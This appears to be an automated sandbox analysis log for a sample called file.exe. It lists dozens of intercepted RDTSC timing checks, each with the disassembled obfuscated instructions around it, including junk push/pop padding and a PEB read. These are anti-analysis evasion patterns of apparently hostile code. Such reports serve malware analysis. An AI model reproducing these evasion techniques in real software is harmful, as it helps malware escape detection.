Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5EA73 second address: A5EA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9420DD1F47h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E603 second address: A5E609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E609 second address: A5E60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E60D second address: A5E619 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F942050A396h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60161 second address: A60185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F9420DD1F3Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60185 second address: A6019B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F942050A39Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6796B second address: A67985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F3Fh 0x00000009 jo 00007F9420DD1F36h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67985 second address: A6798B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6798B second address: A67991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67991 second address: A67995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A692EE second address: A69306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F3Dh 0x00000009 jl 00007F9420DD1F36h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69132 second address: A69138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69138 second address: A69144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6AAEC second address: A6AAF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73BE3 second address: A73BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73BE7 second address: A73BEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73BEB second address: A73C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9420DD1F42h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D4A3 second address: A7D4BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 js 00007F942050A398h 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F942050A396h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BFB8 second address: A7BFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F45h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BFD4 second address: A7BFF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A4h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F942050A396h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D17D second address: A7D195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jmp 00007F9420DD1F41h 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D195 second address: A7D19F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F942050A396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A866FF second address: A86705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C40B second address: A8C43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F942050A3A8h 0x0000000e jno 00007F942050A3A4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C43F second address: A8C470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9420DD1F49h 0x00000009 jmp 00007F9420DD1F44h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C470 second address: A8C474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E05F second address: A9E07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F3Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E07A second address: A9E09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F942050A3A6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E09A second address: A9E0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jno 00007F9420DD1F36h 0x0000000c pop edi 0x0000000d popad 0x0000000e push edi 0x0000000f jmp 00007F9420DD1F3Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 jp 00007F9420DD1F36h 0x0000001c jmp 00007F9420DD1F46h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E250 second address: A9E268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F942050A39Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E268 second address: A9E279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9420DD1F3Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E279 second address: A9E27E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA276A second address: AA277F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9420DD1F40h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA277F second address: AA2785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2785 second address: AA278B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA76F6 second address: AA76FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA76FA second address: AA7700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7857 second address: AA785D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7B01 second address: AA7B05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7F3A second address: AA7F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F942050A39Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7F50 second address: AA7F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9420DD1F36h 0x0000000a jmp 00007F9420DD1F3Ah 0x0000000f popad 0x00000010 jmp 00007F9420DD1F3Fh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7F78 second address: AA7F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7F7C second address: AA7F8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007F9420DD1F3Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7F8C second address: AA7F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE1A6 second address: AAE1AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE4D0 second address: AAE4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE5BE second address: AAE5C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE5C3 second address: AAE5C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE5C9 second address: AAE5CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE89D second address: AAE8B8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F942050A396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F942050A39Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE8B8 second address: AAE8BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE8BC second address: AAE8C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0276 second address: AB0291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jnl 00007F9420DD1F36h 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F9420DD1F36h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0291 second address: AB0295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFE22 second address: AAFE2C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9420DD1F3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1ECB second address: AB1ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0989 second address: 4DA09B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dl, ch 0x00000008 popad 0x00000009 call dword ptr [74E5188Ch] 0x0000000f mov edi, edi 0x00000011 push ebp 0x00000012 mov ebp, esp 0x00000014 push ecx 0x00000015 mov ecx, dword ptr [7FFE0004h] 0x0000001b mov dword ptr [ebp-04h], ecx 0x0000001e cmp ecx, 01000000h 0x00000024 jc 00007F9420E03A15h 0x0000002a mov eax, 7FFE0320h 0x0000002f mov eax, dword ptr [eax] 0x00000031 mul ecx 0x00000033 shrd eax, edx, 00000018h 0x00000037 mov esp, ebp 0x00000039 pop ebp 0x0000003a ret 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e push ecx 0x0000003f pop ebx 0x00000040 jmp 00007F9420DD1F44h 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09B2 second address: 4DA09B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09B8 second address: 4DA09BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09BC second address: 4DA09C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09C0 second address: 4DA0828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 jmp 00007F9420DD1F49h 0x0000000e ret 0x0000000f nop 0x00000010 xor esi, eax 0x00000012 lea eax, dword ptr [ebp-10h] 0x00000015 push eax 0x00000016 call 00007F942576F870h 0x0000001b mov edi, edi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F9420DD1F3Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0828 second address: 4DA083A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F942050A39Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA083A second address: 4DA0852 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0852 second address: 4DA0856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0856 second address: 4DA085A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA085A second address: 4DA0860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0860 second address: 4DA0900 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9420DD1F48h 0x00000009 and ecx, 19AB5CC8h 0x0000000f jmp 00007F9420DD1F3Bh 0x00000014 popfd 0x00000015 movzx esi, bx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007F9420DD1F42h 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 mov dl, cl 0x00000025 mov edx, 75F693BEh 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F9420DD1F3Eh 0x00000036 sbb eax, 2BEF1188h 0x0000003c jmp 00007F9420DD1F3Bh 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007F9420DD1F48h 0x00000048 add al, FFFFFFE8h 0x0000004b jmp 00007F9420DD1F3Bh 0x00000050 popfd 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8002C second address: 4D8007A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushfd 0x00000010 jmp 00007F942050A3A8h 0x00000015 sbb ax, BBB8h 0x0000001a jmp 00007F942050A39Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8007A second address: 4D800A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov esi, ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov bh, A1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800A1 second address: 4D800F8 instructions: 0x00000000 rdtsc 0x00000002 mov si, A563h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b jmp 00007F942050A3A6h 0x00000010 mov eax, dword ptr fs:[00000030h] 0x00000016 jmp 00007F942050A3A0h 0x0000001b sub esp, 18h 0x0000001e pushad 0x0000001f call 00007F942050A39Eh 0x00000024 movzx eax, bx 0x00000027 pop edi 0x00000028 mov bl, al 0x0000002a popad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800F8 second address: 4D800FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800FC second address: 4D80102 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80102 second address: 4D80115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9420DD1F3Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80115 second address: 4D80147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007F942050A3A5h 0x00000010 mov ebx, dword ptr [eax+10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F942050A39Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80147 second address: 4D80192 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushfd 0x00000010 jmp 00007F9420DD1F49h 0x00000015 sbb al, 00000046h 0x00000018 jmp 00007F9420DD1F41h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80192 second address: 4D80198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80198 second address: 4D8019C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8019C second address: 4D801AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D801AB second address: 4D801AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D801AF second address: 4D801B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D801B3 second address: 4D801B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D801B9 second address: 4D801E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F942050A3A8h 0x00000009 add al, 00000048h 0x0000000c jmp 00007F942050A39Bh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D801E6 second address: 4D8022C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9420DD1F41h 0x00000011 sub eax, 6BFDA566h 0x00000017 jmp 00007F9420DD1F41h 0x0000001c popfd 0x0000001d jmp 00007F9420DD1F40h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8022C second address: 4D80287 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [74E806ECh] 0x0000000f jmp 00007F942050A3A6h 0x00000014 test esi, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov bx, 1380h 0x0000001d pushfd 0x0000001e jmp 00007F942050A3A9h 0x00000023 jmp 00007F942050A39Bh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80287 second address: 4D802EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007F9420DD1F40h 0x0000000c and ah, 00000028h 0x0000000f jmp 00007F9420DD1F3Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jne 00007F9420DD2E7Eh 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F9420DD1F44h 0x00000025 and cx, C688h 0x0000002a jmp 00007F9420DD1F3Bh 0x0000002f popfd 0x00000030 mov esi, 79390EFFh 0x00000035 popad 0x00000036 xchg eax, edi 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov dl, 30h 0x0000003c mov si, B5EFh 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802EE second address: 4D80302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F942050A3A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80302 second address: 4D80306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80306 second address: 4D8038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F942050A39Ch 0x00000010 sub ax, 3B48h 0x00000015 jmp 00007F942050A39Bh 0x0000001a popfd 0x0000001b mov di, si 0x0000001e popad 0x0000001f xchg eax, edi 0x00000020 pushad 0x00000021 jmp 00007F942050A3A0h 0x00000026 mov bh, al 0x00000028 popad 0x00000029 call dword ptr [74E50B60h] 0x0000002f mov eax, 750BE5E0h 0x00000034 ret 0x00000035 pushad 0x00000036 jmp 00007F942050A3A3h 0x0000003b push eax 0x0000003c jmp 00007F942050A39Fh 0x00000041 pop eax 0x00000042 popad 0x00000043 push 00000044h 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F942050A3A1h 0x0000004e rdtsc
